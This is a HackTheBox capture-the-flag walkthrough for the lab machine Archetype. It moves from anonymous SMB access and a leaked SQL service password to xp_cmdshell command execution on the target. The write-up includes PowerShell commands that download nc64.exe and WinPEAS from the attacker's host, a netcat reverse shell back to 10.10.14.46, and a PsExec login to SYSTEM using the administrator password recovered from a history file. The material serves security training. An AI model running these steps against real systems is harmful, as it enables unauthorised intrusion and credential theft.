Archetype

CHALLENGE INFORMATION

	Platform: HackTheBox Collection: Starting Point Tier: 2 Machine: Archetype Released: 25/10/2021

MACHINE SYNOPSIS

Archetype is a very easy Windows machine that features a misconfigured Microsoft SQL server, exposed SMB shares and sensitive data exposure. An exposed SMB share can be accessed without authentication in which sensitive files can be found containing plaintext credentials. These credentials can be used to authenticate to MSSQL as the service account user through Impacket’s mssqlclient tool. Command execution can then be achieved by enabling xp_cmdshell after which a reverse shell can be uploaded and triggered to get access to the host. Finally, WinPeas can be used to search for vulnerabilities which reveals a Powershell history file containing the password needed to achieve full privilege escalation.

Preparations

There are a couple of ways to connect to the target machine. The one we will be using throughout this walkthrough is via the provided pwnbox.

Once our connection is established, we spawn the target machine.

Additionally – even though not required – it is possible to set a local variable (only available in the current shell) containing our target host’s IP address. Once set, we can easily access it by prepending a $ to our variable name.

user@kali:~$ rhost=<target-hosts-ip>
user@kali:~$ echo $rhost 
<target-hosts-ip>
user@kali:~$

We can use the unset command to remove the variable when it is no longer needed.

user@kali:~$ unset rhost

Task-1

Question: Which TCP port is hosting a database server?

1433

We begin our reconnaissance with a quick connectivity check.

user@kali:~$ ping $rhost -c 4
...
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
...
user@kali:~$

We then follow up by scanning the top one thousand TCP ports with version detection and default script scanning enabled.

user@kali:~$ nmap -sC -sV $rhost 
...
PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
...
Host script results:
...
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
...
| smb2-security-mode: 
...
|_    Message signing enabled but not required
...
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
...
user@kali:~$

Four ports are reported to be open on our target. Additionally, several other interesting pieces of information merit attention:

• The operating system is Microsoft Windows – specifically, Windows Server 2019 Standard, build 17763
• An SQL server is running on TCP port 1433
• Guest login is enabled for port 445 (SMB)

We shall capitalize on this information.

Task-2

Question: What is the name of the non-Administrative share available over SMB?

backups

Using the guest username (guest access) and listing the SMB shares available on the target will direct us toward the backups share.

user@kali:~$ smbclient -U guest -L $rhost
Password for [WORKGROUP\guest]:

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	backups         Disk      
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
SMB1 disabled -- no workgroup available
user@kali:~$

Task-3

Question: What is the password identified in the file on the SMB share?

M3g4c0rp123

Accessing the share and enumerating its contents brings us to the prod.dtsConfig file.

user@kali:~$ smbclient -U guest \\\\$rhost\\backups
Password for [WORKGROUP\guest]:
...
smb: \> ls
...
  prod.dtsConfig                     AR      609  ...
...
smb: \> get prod.dtsConfig
...
smb: \> exit
user@kali:~$

After the download completes and the SMB session closes, displaying the prod.dtsConfig file on our local machine with cat reveals a welcome surprise.

Although it appears to be an ordinary configuration file, it contains potential credentials:

• Host: ARCHETYPE
• Username: sql_svc
• Password: M3g4c0rp123

Since thorough reconnaissance is always essential, we check the other shares as well, even if they do not appear particularly promising at first glance.

user@kali:~$ smbclient -U guest \\\\$rhost\\ADMIN$
...
tree connect failed: NT_STATUS_ACCESS_DENIED
...
user@kali:~$ smbclient -U guest \\\\$rhost\\IPC$
...
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit
user@kali:~$

As expected, these shares contain nothing of interest. Nevertheless, it never hurts to verify.

Task-4

Question: What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?

mssqlclient.py

Once Impacket is installed, the tab-autocomplete feature can help us identify the appropriate tool.

user@kali:~$ impacket-
...
impacket-dpapi              impacket-mssqlclient        impacket-secretsdump
impacket-esentutl           impacket-mssqlinstance      impacket-services
...
user@kali:~$ impacket-

Two candidates stand out:

• impacket-mssqlclient
• impacket-mssqlinstance

Examining both should make our choice clear.

user@kali:~$ impacket-mssqlclient --help
...
usage: mssqlclient.py [-h] [-port PORT] [-db DB] [-windows-auth] [-debug] [-file FILE]
                      [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key]
                      [-dc-ip ip address]
                      target
...
TDS client implementation (SSL supported).
...
positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
optional arguments:
  -h, --help            show this help message and exit
  -port PORT            target MSSQL port (default 1433)
  -db DB                MSSQL database instance (default None)
  -windows-auth         whether or not to use Windows Authentication (default False)
...                 
user@kali:~$

user@kali:~$ impacket-mssqlinstance --help
...
usage: mssqlinstance.py [-h] [-timeout TIMEOUT] host
...
Asks the remote host for its running MSSQL Instances.
...
user@kali:~$

Since we already possess the credentials, let us attempt to connect. It is important to note that without the -windows-auth optional argument, our connection will not succeed.

user@kali:~$ impacket-mssqlclient ARCHETYPE/sql_svc:M3g4c0rp123@$rhost -windows-auth
...
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL>

Task-5

Question: What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?

xp_cmdshell

Using the built-in help command in our authenticated MSSQL session should illuminate the answer.

SQL> help

     lcd {path}                 - changes the current local directory to {path}
     exit                       - terminates the server process (and this session)
     enable_xp_cmdshell         - you know what it means
     disable_xp_cmdshell        - you know what it means
     xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
     sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
     ! {cmd}                    - executes a local shell cmd
     
SQL>

Attempting to obtain additional information about what the xp_cmdshell command does exactly proves unsuccessful, but the error message provides further hints.

SQL> xp_cmdshell help
[-] ERROR(ARCHETYPE): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
SQL>

Breaking this down, it appears the system attempted to run help as a command directly, but the operation was blocked because the xp_cmdshell feature is not yet enabled. Enabling it seems prudent, so let us proceed.

SQL> enable_xp_cmdshell
[*] INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL>

It appears the operation succeeded and we have enabled the feature. Let us try running whoami to verify functionality.

SQL> xp_cmdshell whoami
...
archetype\sql_svc   
...
SQL>

The command executed successfully. But where exactly are we?

SQL> xp_cmdshell echo %cd%
...  
C:\Windows\system32   
...
SQL>

What else can we execute? Can we retrieve the user flag directly from here?

SQL> xp_cmdshell "powershell cat C:\Users\sql_svc\Desktop\user.txt"
...
<redacted-flag>   
...
SQL>

Indeed we can, and we have just done so. However, communicating with our target through the interactive MSSQL shell is rather cumbersome. Therefore, our next course of action should be to establish a reverse shell on the target.

In summary, the process unfolds as follows:

• Step-1: Make the Netcat binary available on the attackbox.
  
• Step-2: Use the interactive MSSQL terminal to download this binary to the target machine.
  
• Step-3: Create a Netcat listener on the attackbox.
  
• Step-4: Execute the Netcat binary on the target via the interactive MSSQL shell to connect back to the attackbox.
  

Step-1: Make the Netcat binary available on the attackbox.

Let us begin with step one: our first action should be to download the Windows Netcat binary – nc64.exe – and store it on our attackbox.

Running the server module from the HTTP Python package – in the same directory where the Windows Netcat binary is located – will start a local web server and make all files in that directory accessible.

user@kali:~$ ll
...
-rw-r--r-- 1 user user 45K ... nc64.exe
user@kali:~$ python -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...

Step-2: Use the interactive MSSQL terminal to download this binary to the target machine.

Continuing with step two, we return to our interactive MSSQL shell. We then attempt to download the binary using PowerShell and wget – an alias for Invoke-WebRequest.

Our first attempt downloads the file and saves it to C:\Users\sql_svc\Downloads, where we should have write access, but we encounter an error.

SQL> xp_cmdshell "powershell -c wget http://10.10.14.46:4444/nc64.exe -outfile C:\Users\sql_svc\Downloads"
...
wget : Access to the path 'C:\Users\sql_svc\Downloads' is denied.                  
...
    + CategoryInfo          : NotSpecified: (:) [Invoke-WebRequest], UnauthorizedAccessException   
...
    + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand   
...
SQL>

In our second attempt, we first navigate to C:\Users\sql_svc\Downloads and only then attempt to download the binary.

SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.14.46:4444/nc64.exe -outfile nc64.exe"
output   
------   
NULL     
...
SQL>

This time we succeed, and our binary is located at C:\Users\sql_svc\Downloads\nc64.exe.

SQL> xp_cmdshell "powershell -c ls C:\Users\sql_svc\Downloads"
...
Mode                LastWriteTime         Length Name                                                                     
...
-a----                        ...         45272  nc64.exe                                                                 
...
SQL>

We shut down the HTTP server immediately after the download completes.

user@kali:~$ python -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
10.129.63.163 - - ... "GET /nc64.exe HTTP/1.1" 200 -
...
^C
Keyboard interrupt received, exiting.
user@kali:~$

Step-3: Create a Netcat listener on the attackbox.

Now for step three: it is time to start our Netcat listener.

# on lhost
user@kali:~$ nc -lvnp 4444
...
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
...

Step-4: Execute the Netcat binary on the target via the interactive MSSQL shell to connect back to the attackbox.

Finally, in step four, we execute the Netcat binary on the target and instruct it to connect back to our attacker machine.

SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.14.46 4444"

No output appears. Did it work? Upon checking the listener from step three, we see that we have received a reverse shell. The connection succeeded.

user@kali:~$ nc -lvnp 4444
...
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.63.163.
Ncat: Connection from 10.129.63.163:49680.
...
C:\Users\sql_svc\Downloads>

Let us use our improved connection to retrieve the user flag (again).

C:\Users\sql_svc\Downloads>whoami
whoami
archetype\sql_svc
...
C:\Users\sql_svc\Downloads>cd ..\Desktop\
cd ..\Desktop\
...
C:\Users\sql_svc\Desktop>dir
dir
...
...                32 user.txt
...
C:\Users\sql_svc\Desktop>type user.txt
...
<redacted-flag>
C:\Users\sql_svc\Desktop>

Task-6

Question: What script can be used in order to search possible paths to escalate privileges on Windows hosts?

winpeas

One of the most commonly used scripts for privilege escalation on Windows is WinPEAS.

Let us transfer it to our target. We follow the same procedure as before:

• Host a Python HTTP server where the file is located (lhost).
• Use PowerShell and wget to copy it over (rhost).

Since WinPEAS is already downloaded to pwnbox, locating it is the only remaining task. It can be found at:

We then copy it to our working directory.

user@kali:~$ cp winPEASx64.exe ~/

Once there, we start our HTTP server.

user@kali:~$ cd ~/
user@kali:~$ python -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
...

We then use our reverse shell to download it to our target host (rhost).

C:\Users\sql_svc\Downloads>powershell -c wget http://10.10.14.46:4444/winPEASx64.exe -outfile winPEASx64.exe
...
C:\Users\sql_svc\Downloads>

Once downloaded, we close the HTTP server.

user@kali:~$ python -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
10.129.63.163 - - ... "GET /winPEASx64.exe HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
user@kali:~$

All that remains is to execute it.

C:\Users\sql_svc\Downloads>powershell -c .\winPEASx64.exe
...
System Information
...
Basic System Information
    ...
    Hostname: Archetype
    ProductName: Windows Server 2019 Standard
    EditionID: ServerStandard
    ReleaseId: 1809
    BuildBranch: rs5_release
    CurrentMajorVersionNumber: 10
    CurrentVersion: 6.3
    ...
    PartOfDomain: False
    Hotfixes: KB5004335, KB5003711, KB5004244, 
...
  [!] CVE-2019-0836 : VULNERABLE
...
  [!] CVE-2019-0841 : VULNERABLE
...
  [!] CVE-2019-1064 : VULNERABLE
...
  [!] CVE-2019-1130 : VULNERABLE
...
  [!] CVE-2019-1253 : VULNERABLE
...
  [!] CVE-2019-1315 : VULNERABLE
...
  [!] CVE-2019-1385 : VULNERABLE
...
  [!] CVE-2019-1388 : VULNERABLE
...
  [!] CVE-2019-1405 : VULNERABLE
...
  [!] CVE-2020-0668 : VULNERABLE
...
  [!] CVE-2020-0683 : VULNERABLE
...
  [!] CVE-2020-1013 : VULNERABLE
...
  [*] Finished. Found 12 potential vulnerabilities.
...
Analyzing Windows Files Files (limit 70)
    C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    C:\Users\Default\NTUSER.DAT
    C:\Users\sql_svc\NTUSER.DAT
...
C:\Users\sql_svc\Downloads>

Task-7

Question: What file contains the administrator’s password?

ConsoleHost_history.txt

The output from WinPEAS is quite lengthy, but one of the final lines mentions the location of the PowerShell history file.

Examining this file reveals administrator credentials.

C:\Users\sql_svc\Downloads>type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
...
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
...
C:\Users\sql_svc\Downloads>

Submit The User Flag

Question: Submit user flag

<redacted-flag>

In Task-5 we used two different approaches to retrieve the user flag.

Submit The Root Flag

Question: Submit root flag

<redacted-flag>

We can use the following administrator credentials found in Task-7:

• Username: administrator
• Password: MEGACORP_4dm1n!!

to obtain a privileged shell on the target using PsExec from Impacket.

user@kali:~$ impacket-psexec administrator@$rhost
...
Password:
[*] Requesting shares on 10.129.63.163.....
[*] Found writable share ADMIN$
[*] Uploading file ZUxKInhO.exe
[*] Opening SVCManager on 10.129.63.163.....
[*] Creating service EEnc on 10.129.63.163.....
[*] Starting service EEnc.....
...
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>

These high-level privileges provide us with access to the administrator’s desktop – C:\Windows>cd C:\Users\Administrator\Desktop. This is where our root flag resides.

C:\Windows\system32>cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>dir
...
...                32 root.txt
...
C:\Users\Administrator\Desktop>

All that remains is to retrieve the root flag and terminate the connection.

C:\Users\Administrator\Desktop>type root.txt
<redacted-flag>
C:\Users\Administrator\Desktop>exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
...
user@kali:~$

Congratulations on successfully completing the challenge. All that remains is to terminate the target box – if not terminated automatically – before proceeding to the next challenge!